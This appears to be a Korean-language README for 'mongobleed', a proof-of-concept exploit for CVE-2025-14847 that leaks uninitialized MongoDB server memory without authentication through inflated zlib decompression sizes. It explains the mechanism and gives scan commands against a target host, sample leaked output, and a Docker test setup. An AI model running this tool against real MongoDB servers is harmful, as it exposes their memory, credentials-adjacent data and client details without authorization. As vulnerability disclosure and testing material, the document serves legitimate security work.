mongobleed

CVE-2025-14847 - MongoDB 비인증 메모리 누수 익스플로잇

MongoDB의 zlib 압축 해제 취약점에 대한 개념 증명 익스플로잇으로, 인증되지 않은 공격자가 민감한 서버 메모리를 유출할 수 있습니다.

취약점

MongoDB의 zlib 메시지 압축 해제 결함으로 인해 할당된 버퍼 크기가 실제 압축 해제된 데이터 길이 대신 반환됩니다. 이를 통해 공격자는 다음과 같은 방법으로 초기화되지 않은 메모리를 읽을 수 있습니다:

1. 부풀려진 uncompressedSize 값을 포함한 압축 메시지를 전송
2. MongoDB는 공격자가 주장한 크기에 따라 큰 버퍼를 할당
3. zlib이 실제 데이터를 버퍼의 시작 부분에 압축 해제
4. 버그로 인해 MongoDB가 전체 버퍼를 유효한 데이터로 처리
5. BSON 파싱이 null 바이트에 도달할 때까지 초기화되지 않은 메모리에서 "필드 이름"을 읽음

영향을 받는 버전

사용법

# Basic scan (offsets 20-8192)
python3 mongobleed.py --host <target>

# Deep scan for more data
python3 mongobleed.py --host <target> --max-offset 50000

# Custom range
python3 mongobleed.py --host <target> --min-offset 100 --max-offset 20000

옵션

출력 예시

[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Author: Joe Desimone - x.com/dez_
[*] Target: localhost:27017
[*] Scanning offsets 20-50000

[+] offset=  117 len=  39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable:    8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: Recv SyncookiesFailed EmbryonicRsts ...

[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[*] Saved to: leaked.bin

테스트 환경

취약한 MongoDB 인스턴스를 실행하기 위한 Docker Compose 파일이 포함되어 있습니다:

docker-compose up -d
python3 mongobleed.py

작동 방식

이 익스플로잇은 길이 필드가 부풀려진 BSON 문서를 조작합니다. 서버가 이러한 문서를 파싱할 때 null 바이트에 도달할 때까지 초기화되지 않은 메모리에서 필드 이름을 읽습니다. 다양한 오프셋에서 각 프로브는 다른 메모리 영역을 유출할 수 있습니다.

유출된 데이터에는 다음이 포함될 수 있습니다:

• MongoDB 내부 로그 및 상태
• WiredTiger 스토리지 엔진 구성
• 시스템 /proc 데이터 (meminfo, 네트워크 통계)
• Docker 컨테이너 경로
• 연결 UUID 및 클라이언트 IP

참고 자료

• OX 보안 권고
• MongoDB 수정 커밋

저자

Joe Desimone - x.com/dez_

면책 조항

이 도구는 승인된 보안 테스트용으로만 사용해야 합니다. 무단 컴퓨터 시스템 액세스는 불법입니다.